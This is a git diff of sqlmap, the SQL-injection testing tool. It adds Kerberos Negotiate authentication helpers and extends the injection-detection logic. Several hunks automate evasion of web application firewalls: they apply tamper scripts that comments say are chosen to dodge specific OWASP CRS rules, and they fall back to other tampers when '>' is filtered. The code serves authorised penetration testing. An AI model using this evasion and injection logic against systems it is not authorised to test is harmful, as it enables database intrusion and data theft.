return _tlv(GENERALIZED_TIME, value if isinstance(value, bytes) else value.encode("ascii"))
|
||||
|
||||
def bitString(value, unusedBits=0):
|
||||
return _tlv(BIT_STRING, bytearray([unusedBits]) + bytearray(value))
|
||||
|
||||
def sequence(*elements):
|
||||
return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements))
|
||||
|
||||
def sequenceOf(elements):
|
||||
return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements))
|
||||
|
||||
# ---- decoding -------------------------------------------------------------------------------------
|
||||
def peel(data, offset=0):
|
||||
"""Parse one TLV at 'offset'; return (tag, content_bytearray, next_offset). Raises ValueError on
|
||||
truncated or indefinite-length input (the data may come from the network, so fail predictably)."""
|
||||
|
||||
data = bytearray(data)
|
||||
if offset + 2 > len(data):
|
||||
raise ValueError("truncated DER header")
|
||||
tag = data[offset]
|
||||
first = data[offset + 1]
|
||||
offset += 2
|
||||
if first < 0x80:
|
||||
length = first
|
||||
elif first == 0x80:
|
||||
raise ValueError("indefinite-length DER is not permitted")
|
||||
else:
|
||||
count = first & 0x7f
|
||||
if offset + count > len(data):
|
||||
raise ValueError("truncated DER length")
|
||||
length = 0
|
||||
for _ in range(count):
|
||||
length = (length << 8) | data[offset]
|
||||
offset += 1
|
||||
if offset + length > len(data):
|
||||
raise ValueError("truncated DER content")
|
||||
return tag, data[offset:offset + length], offset + length
|
||||
|
||||
def children(content):
|
||||
"""Iterate the TLVs contained in a constructed value; yields (tag, content_bytearray)."""
|
||||
|
||||
content = bytearray(content)
|
||||
offset = 0
|
||||
out = []
|
||||
while offset < len(content):
|
||||
tag, inner, offset = peel(content, offset)
|
||||
out.append((tag, inner))
|
||||
return out
|
||||
|
||||
def decodeInteger(content):
|
||||
content = bytearray(content)
|
||||
if not content:
|
||||
return 0
|
||||
value = 0
|
||||
for b in content:
|
||||
value = (value << 8) | b
|
||||
if content[0] & 0x80: # negative (two's complement)
|
||||
value -= 1 << (8 * len(content))
|
||||
return value
|
||||
|
||||
def decodeGeneralString(content):
|
||||
return bytes(bytearray(content)).decode("utf-8", "replace")
|
||||
@@ -0,0 +1,200 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free KDC discovery for a realm, so '--auth-type=Negotiate' works without an explicit
|
||||
# KDC address. Resolution order: the 'SQLMAP_KERBEROS_KDC' environment variable, then the local
|
||||
# krb5.conf [realms] section, then a DNS SRV lookup (_kerberos._tcp.<realm>), then the realm name
|
||||
# itself as a host. Returns (host, port). Python 2.7 / 3.x.
|
||||
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
|
||||
DEFAULT_KDC_PORT = 88
|
||||
_DNS_TIMEOUT = 3
|
||||
_SRV_TYPE = 33
|
||||
_IN_CLASS = 1
|
||||
|
||||
def _splitHostPort(value, defaultPort=DEFAULT_KDC_PORT):
|
||||
value = value.strip()
|
||||
if value.startswith("["): # [IPv6] or [IPv6]:port
|
||||
host, _, rest = value[1:].partition("]")
|
||||
port = rest[1:] if rest.startswith(":") else ""
|
||||
elif value.count(":") == 1: # host:port (a single colon rules out bare IPv6)
|
||||
host, _, port = value.partition(":")
|
||||
else: # bare host or bare IPv6 literal
|
||||
host, port = value, ""
|
||||
return host, (int(port) if port.isdigit() else defaultPort)
|
||||
|
||||
# ---- krb5.conf --------------------------------------------------------------------------------
|
||||
def _fromKrb5Conf(realm):
|
||||
path = os.environ.get("KRB5_CONFIG") or "/etc/krb5.conf"
|
||||
try:
|
||||
with open(path) as f:
|
||||
content = f.read()
|
||||
except (IOError, OSError):
|
||||
return None
|
||||
|
||||
# scope the search to the [realms] section itself: '[capaths]' uses the identical
|
||||
# 'realm = { ... }' syntax, so a same-named capath block must not shadow the real one
|
||||
section = re.search(r"(?im)^[ \t]*\[realms\][ \t]*$", content)
|
||||
if not section:
|
||||
return None
|
||||
nextSection = re.search(r"(?m)^[ \t]*\[", content[section.end():])
|
||||
sectionEnd = section.end() + nextSection.start() if nextSection else len(content)
|
||||
realms = content[section.end():sectionEnd]
|
||||
|
||||
header = re.search(r"(?im)^\s*%s\s*=\s*\{" % re.escape(realm), realms)
|
||||
if not header:
|
||||
return None
|
||||
start = header.end() # brace-match so a nested '{ }' block cannot truncate us
|
||||
depth, i = 1, start
|
||||
while i < len(realms) and depth > 0:
|
||||
if realms[i] == "{":
|
||||
depth += 1
|
||||
elif realms[i] == "}":
|
||||
depth -= 1
|
||||
i += 1
|
||||
block = realms[start:i - 1]
|
||||
kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block)
|
||||
return kdc.group(1) if kdc else None
|
||||
|
||||
# ---- DNS SRV (_kerberos._tcp.<realm>) ---------------------------------------------------------
|
||||
def _nameservers():
|
||||
servers = []
|
||||
try:
|
||||
with open("/etc/resolv.conf") as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 2 and parts[0] == "nameserver":
|
||||
servers.append(parts[1])
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
return servers
|
||||
|
||||
def _encodeName(name):
|
||||
out = bytearray()
|
||||
for label in name.split("."):
|
||||
out.append(len(label))
|
||||
out += label.encode("ascii")
|
||||
out.append(0)
|
||||
return bytes(out)
|
||||
|
||||
_MAX_NAME_JUMPS = 64 # guards against compression-pointer cycles
|
||||
|
||||
def _skipName(data, offset):
|
||||
while True:
|
||||
if offset >= len(data):
|
||||
raise ValueError("truncated DNS name")
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
return offset + 1
|
||||
if length & 0xc0 == 0xc0: # compression pointer ends the name
|
||||
if offset + 2 > len(data):
|
||||
raise ValueError("truncated DNS pointer")
|
||||
return offset + 2
|
||||
offset += 1 + length
|
||||
|
||||
def _readName(data, offset):
|
||||
labels = []
|
||||
end = None
|
||||
jumps = 0
|
||||
while True:
|
||||
if offset >= len(data):
|
||||
raise ValueError("truncated DNS name")
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
if length & 0xc0 == 0xc0: # follow compression pointer (bounded, cycle-safe)
|
||||
if offset + 2 > len(data):
|
||||
raise ValueError("truncated DNS pointer")
|
||||
jumps += 1
|
||||
if jumps > _MAX_NAME_JUMPS:
|
||||
raise ValueError("too many DNS compression jumps")
|
||||
if end is None:
|
||||
end = offset + 2
|
||||
offset = ((length & 0x3f) << 8) | data[offset + 1]
|
||||
continue
|
||||
if offset + 1 + length > len(data):
|
||||
raise ValueError("truncated DNS label")
|
||||
labels.append(bytes(data[offset + 1:offset + 1 + length]).decode("ascii", "replace"))
|
||||
offset += 1 + length
|
||||
return ".".join(labels), (end if end is not None else offset)
|
||||
|
||||
def parseSrv(response):
|
||||
"""Parse SRV records from a (possibly hostile) DNS response into [(priority, weight, port,
|
||||
target), ...]. Malformed input yields an empty list rather than raising."""
|
||||
|
||||
data = bytearray(response)
|
||||
if len(data) < 12:
|
||||
return []
|
||||
try:
|
||||
qdcount, ancount = struct.unpack(">HH", bytes(data[4:8]))
|
||||
offset = 12
|
||||
for _ in range(qdcount):
|
||||
offset = _skipName(data, offset) + 4 # + qtype/qclass
|
||||
records = []
|
||||
for _ in range(ancount):
|
||||
offset = _skipName(data, offset)
|
||||
if offset + 10 > len(data):
|
||||
break
|
||||
rtype, rclass, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10]))
|
||||
offset += 10
|
||||
if offset + rdlength > len(data):
|
||||
break
|
||||
if rtype == _SRV_TYPE and rclass == _IN_CLASS and rdlength >= 6:
|
||||
priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6]))
|
||||
target = _readName(data, offset + 6)[0].rstrip(".")
|
||||
if target:
|
||||
records.append((priority, weight, port, target))
|
||||
offset += rdlength
|
||||
return records
|
||||
except (ValueError, struct.error, IndexError):
|
||||
return []
|
||||
|
||||
def _fromDnsSrv(realm):
|
||||
queryId = os.urandom(2)
|
||||
query = (queryId + struct.pack(">HHHHH", 0x0100, 1, 0, 0, 0) +
|
||||
_encodeName("_kerberos._tcp.%s" % realm) + struct.pack(">HH", _SRV_TYPE, _IN_CLASS))
|
||||
for server in _nameservers():
|
||||
family = socket.AF_INET6 if ":" in server else socket.AF_INET
|
||||
sock = socket.socket(family, socket.SOCK_DGRAM)
|
||||
sock.settimeout(_DNS_TIMEOUT)
|
||||
try:
|
||||
sock.connect((server, 53)) # connect() so the kernel drops replies from any other source
|
||||
sock.send(query)
|
||||
response = sock.recv(4096)
|
||||
except socket.error:
|
||||
continue
|
||||
finally:
|
||||
sock.close()
|
||||
if len(response) < 2 or response[:2] != queryId: # ignore stray / spoofed replies
|
||||
continue
|
||||
records = parseSrv(response)
|
||||
if records:
|
||||
best = min(records, key=lambda r: (r[0], -r[1])) # lowest priority, then highest weight
|
||||
return best[3], best[2]
|
||||
return None
|
||||
|
||||
def discoverKdc(realm):
|
||||
"""Resolve (host, port) of a KDC for the realm; falls back to the realm name itself as a host."""
|
||||
|
||||
override = os.environ.get("SQLMAP_KERBEROS_KDC")
|
||||
if override:
|
||||
return _splitHostPort(override)
|
||||
|
||||
configured = _fromKrb5Conf(realm)
|
||||
if configured:
|
||||
return _splitHostPort(configured)
|
||||
|
||||
fromDns = _fromDnsSrv(realm)
|
||||
if fromDns:
|
||||
return fromDns
|
||||
|
||||
return realm.lower(), DEFAULT_KDC_PORT
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Minimal GSS-API / SPNEGO (RFC 2743, RFC 4178) wrapping of a Kerberos AP-REQ into the token carried
|
||||
# by the HTTP "Authorization: Negotiate <base64>" header. Only the initiator's NegTokenInit is built
|
||||
# (the one-shot token an HTTP client sends); the mechanism-specific OIDs are fixed constants.
|
||||
# Python 2.7 / 3.x.
|
||||
|
||||
from extra.kerberos import der
|
||||
|
||||
# fully-encoded OBJECT IDENTIFIER TLVs
|
||||
KRB5_OID = bytes(bytearray([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02])) # 1.2.840.113554.1.2.2
|
||||
SPNEGO_OID = bytes(bytearray([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02])) # 1.3.6.1.5.5.2
|
||||
|
||||
TOK_ID_AP_REQ = b"\x01\x00" # GSS Kerberos token id for KRB_AP_REQ
|
||||
|
||||
def gssApReq(apReq):
|
||||
"""GSS InitialContextToken: [APPLICATION 0] { Kerberos OID, tok-id, AP-REQ }."""
|
||||
|
||||
return der.application(0, KRB5_OID + TOK_ID_AP_REQ + apReq)
|
||||
|
||||
def negTokenInit(apReq):
|
||||
"""SPNEGO NegTokenInit wrapping the Kerberos GSS token (Kerberos advertised as the sole mech)."""
|
||||
|
||||
inner = der.sequence(
|
||||
der.tagged(0, der.sequenceOf([KRB5_OID])), # mechTypes
|
||||
der.tagged(2, der.octetString(gssApReq(apReq))), # mechToken
|
||||
)
|
||||
return der.application(0, SPNEGO_OID + der.tagged(0, inner))
|
||||
@@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit
|
||||
|
||||
PROJECT="../../"
|
||||
SETTINGS="../../lib/core/settings.py"
|
||||
DIGEST="../../data/txt/sha256sums.txt"
|
||||
|
||||
declare -x SCRIPTPATH="${0}"
|
||||
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
|
||||
@@ -37,6 +35,3 @@ then
|
||||
fi
|
||||
git add "$SETTINGS_FULLPATH"
|
||||
fi
|
||||
|
||||
cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
|
||||
git add "$DIGEST_FULLPATH"
|
||||
|
||||
@@ -63,6 +63,10 @@ setup(
|
||||
},
|
||||
)
|
||||
EOF
|
||||
cat > "$TMP_DIR/setup.cfg" << "EOF"
|
||||
[bdist_wheel]
|
||||
universal = 1
|
||||
EOF
|
||||
wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
|
||||
unzip sqlmap.zip
|
||||
rm sqlmap.zip
|
||||
|
||||
+1116
-20
File diff suppressed because it is too large
Load Diff
@@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import CONTENT_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
@@ -28,11 +31,53 @@ def action():
|
||||
if possible
|
||||
"""
|
||||
|
||||
# HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage
|
||||
# the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all
|
||||
# subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op
|
||||
# unless '--timeless' is set and the target is usable; disengage() first clears any prior target's.
|
||||
from lib.request import timeless
|
||||
timeless.disengage()
|
||||
if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable
|
||||
timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
|
||||
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
|
||||
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms:
|
||||
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
|
||||
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
|
||||
if fallback:
|
||||
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
|
||||
conf.forceDbms = fallback
|
||||
|
||||
setHandler()
|
||||
|
||||
if not Backend.getDbms() or not conf.dbmsHandler:
|
||||
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
|
||||
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
|
||||
|
||||
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
|
||||
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
|
||||
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
|
||||
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
|
||||
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
|
||||
# ORD/MID function names scored by 942151/942190);
|
||||
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
|
||||
# 'mysql.innodb_table_stats', which is not on those blocklists.
|
||||
# (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
|
||||
# open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
|
||||
if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
kb.data.has_information_schema = True
|
||||
if not conf.tamper:
|
||||
from lib.utils.wafbypass import loadTamper
|
||||
for _name in ("blindbinary", "infoschema2innodb"):
|
||||
function = loadTamper(_name)
|
||||
if function is not None and function not in (kb.tamperFunctions or []):
|
||||
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
|
||||
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
|
||||
|
||||
if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler:
|
||||
htmlParsed = Format.getErrorParsedDBMSes()
|
||||
|
||||
errMsg = "sqlmap was not able to fingerprint the "
|
||||
@@ -78,6 +123,9 @@ def action():
|
||||
if conf.getStatements:
|
||||
conf.dumper.statements(conf.dbmsHandler.getStatements())
|
||||
|
||||
if conf.getProcs:
|
||||
conf.dumper.procedures(conf.dbmsHandler.getProcedures())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
|
||||
+277
-26
@@ -16,6 +16,7 @@ from extra.beep.beep import beep
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractStructuralTokens
|
||||
from lib.core.common import extractTextTagContent
|
||||
from lib.core.common import filterNone
|
||||
from lib.core.common import findDynamicContent
|
||||
@@ -56,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import POST_HINT
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import NOTE
|
||||
@@ -79,14 +81,24 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||
from lib.core.settings import FI_ERROR_REGEX
|
||||
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
||||
from lib.core.settings import GRAPHQL_ERROR_REGEX
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import HQL_ERROR_REGEX
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
from lib.core.settings import XPATH_ERROR_REGEX
|
||||
from lib.core.settings import XXE_ERROR_REGEX
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IPS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
|
||||
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
|
||||
from lib.core.settings import MAX_STABILITY_DELAY
|
||||
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
|
||||
from lib.core.settings import NOSQL_ERROR_REGEX
|
||||
from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH
|
||||
from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW
|
||||
from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH
|
||||
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
@@ -94,12 +106,14 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.settings import WAF_BLOCK_HTTP_CODES
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.comparison import comparison
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.templates import getPageTemplate
|
||||
from lib.utils.dialect import dialectCheckDbms
|
||||
from lib.techniques.union.test import unionTest
|
||||
from lib.techniques.union.use import configUnion
|
||||
from thirdparty import six
|
||||
@@ -149,6 +163,15 @@ def checkSqlInjection(place, parameter, value):
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
|
||||
kb.heuristicDbms = heuristicCheckDbms(injection)
|
||||
|
||||
# keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
|
||||
# and is skipped when the WAF/IPS is dropping requests; the operator-dialect
|
||||
# probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
|
||||
# that case (or when it was inconclusive), using the now-calibrated boolean oracle.
|
||||
# It feeds the lower-confidence heuristicExtendedDbms (UNION FROM / handler hint),
|
||||
# deliberately NOT heuristicDbms, so it never drives reduceTests (skipping payloads)
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and kb.heuristicExtendedDbms is None:
|
||||
kb.heuristicExtendedDbms = dialectCheckDbms(injection)
|
||||
|
||||
# If the DBMS has already been fingerprinted (via DBMS-specific
|
||||
# error message, simple heuristic check or via DBMS-specific
|
||||
# payload), ask the user to limit the tests to the fingerprinted
|
||||
@@ -502,6 +525,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Useful to set kb.matchRatio at first based on False response content
|
||||
kb.matchRatio = None
|
||||
kb.trueLength = None
|
||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||
suggestion = None
|
||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
@@ -509,7 +533,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||
|
||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
|
||||
if not any((kb.negativeLogic, conf.string, conf.notString, conf.code, conf.lengths)):
|
||||
try:
|
||||
ratio = 1.0
|
||||
seqMatcher = getCurrentThreadData().seqMatcher
|
||||
@@ -529,6 +553,11 @@ def checkSqlInjection(place, parameter, value):
|
||||
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||
trueRawResponse = "%s%s" % (trueHeaders, truePage)
|
||||
|
||||
if conf.lengths:
|
||||
# under NULL connection the body is absent, so take the length HEAD/Range reported
|
||||
kb.trueLength = threadData.lastComparisonPageLength if kb.nullConnection else len(truePage)
|
||||
trueResult = True
|
||||
|
||||
if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))):
|
||||
# Perform the test's False request
|
||||
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||
@@ -542,7 +571,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
errorResult = Request.queryPage(errorPayload, place, raise404=False)
|
||||
if errorResult:
|
||||
continue
|
||||
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, kb.nullConnection)):
|
||||
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
|
||||
if (_ or 0) > (kb.matchRatio or 0):
|
||||
kb.matchRatio = _
|
||||
@@ -554,7 +583,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
injectable = True
|
||||
|
||||
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
|
||||
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
|
||||
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
|
||||
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
|
||||
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
|
||||
@@ -580,7 +609,19 @@ def checkSqlInjection(place, parameter, value):
|
||||
break
|
||||
|
||||
if injectable:
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
|
||||
# WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that
|
||||
# mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403)
|
||||
# while the FALSE condition passes (2xx) is the WAF answering, not the database.
|
||||
# A real boolean injection's TRUE condition reproduces the normal page, so this
|
||||
# status-code asymmetry is the classic false positive - refuse it here.
|
||||
if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
|
||||
logger.warning(warnMsg)
|
||||
injectable = False
|
||||
continue
|
||||
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
|
||||
suggestion = conf.code = trueCode
|
||||
|
||||
@@ -692,7 +733,8 @@ def checkSqlInjection(place, parameter, value):
|
||||
if len(kb.dbmsFilter or []) == 1:
|
||||
Backend.forceDbms(kb.dbmsFilter[0])
|
||||
elif not Backend.getIdentifiedDbms():
|
||||
if kb.heuristicDbms is None:
|
||||
heuristicDbms = kb.heuristicDbms or kb.heuristicExtendedDbms
|
||||
if heuristicDbms is None:
|
||||
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
|
||||
warnMsg = "using unescaped version of the test "
|
||||
warnMsg += "because of zero knowledge of the "
|
||||
@@ -700,7 +742,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
warnMsg += "explicitly set it with option '--dbms'"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
else:
|
||||
Backend.forceDbms(kb.heuristicDbms)
|
||||
Backend.forceDbms(heuristicDbms)
|
||||
|
||||
if unionExtended:
|
||||
infoMsg = "automatically extending ranges for UNION "
|
||||
@@ -772,12 +814,20 @@ def checkSqlInjection(place, parameter, value):
|
||||
injection.data[stype].comment = comment
|
||||
injection.data[stype].templatePayload = templatePayload
|
||||
injection.data[stype].matchRatio = kb.matchRatio
|
||||
injection.data[stype].trueLength = kb.trueLength
|
||||
injection.data[stype].trueCode = trueCode
|
||||
injection.data[stype].falseCode = falseCode
|
||||
|
||||
# reference bodies for inference.py's "resembles neither TRUE nor FALSE model"
|
||||
# anomaly guard (runtime-only; lets a transient same-HTTP-code junk response
|
||||
# trigger a validateChar re-check during boolean extraction)
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
kb.trueTemplate, kb.falseTemplate = truePage, falsePage
|
||||
|
||||
injection.conf.textOnly = conf.textOnly
|
||||
injection.conf.titles = conf.titles
|
||||
injection.conf.code = conf.code
|
||||
injection.conf.lengths = conf.lengths
|
||||
injection.conf.string = conf.string
|
||||
injection.conf.notString = conf.notString
|
||||
injection.conf.regexp = conf.regexp
|
||||
@@ -1018,10 +1068,40 @@ def checkFilteredChars(injection):
|
||||
# inference techniques depend on character '>'
|
||||
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
|
||||
if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
|
||||
warnMsg = "it appears that the character '>' is "
|
||||
warnMsg += "filtered by the back-end server. You are strongly "
|
||||
warnMsg += "advised to rerun with the '--tamper=between'"
|
||||
logger.warning(warnMsg)
|
||||
# '>' is filtered - blind inference (bisection and the count/length integer retrievals
|
||||
# all rely on '>') would silently retrieve nothing. Cascade through the '>'-free
|
||||
# comparison rewrites and adopt the first that RE-VERIFIES working, so the run adapts in
|
||||
# place instead of forcing a manual rerun: 'between' (> -> NOT BETWEEN 0 AND) first,
|
||||
# then 'greatest' (GREATEST()-based) for when BETWEEN itself is filtered. Skipped when the
|
||||
# user chose their own '--tamper' (respect that choice).
|
||||
adapted = None
|
||||
|
||||
if not conf.tamper:
|
||||
from lib.utils.wafbypass import loadTamper
|
||||
|
||||
for name in ("between", "greatest", "sign"):
|
||||
function = loadTamper(name)
|
||||
if function is None or function in (kb.tamperFunctions or []):
|
||||
continue
|
||||
|
||||
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
|
||||
_ = randomInt()
|
||||
|
||||
if checkBooleanExpression("%d>%d" % (_ + 1, _)):
|
||||
adapted = name
|
||||
break
|
||||
else:
|
||||
kb.tamperFunctions.remove(function)
|
||||
|
||||
if adapted:
|
||||
infoMsg = "the character '>' appears to be filtered by the back-end server; "
|
||||
infoMsg += "sqlmap automatically applied the '%s' tamper script to adapt" % adapted
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
warnMsg = "it appears that the character '>' is "
|
||||
warnMsg += "filtered by the back-end server. You are strongly "
|
||||
warnMsg += "advised to rerun with the '--tamper=between'"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
kb.injection = popValue()
|
||||
|
||||
@@ -1088,7 +1168,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
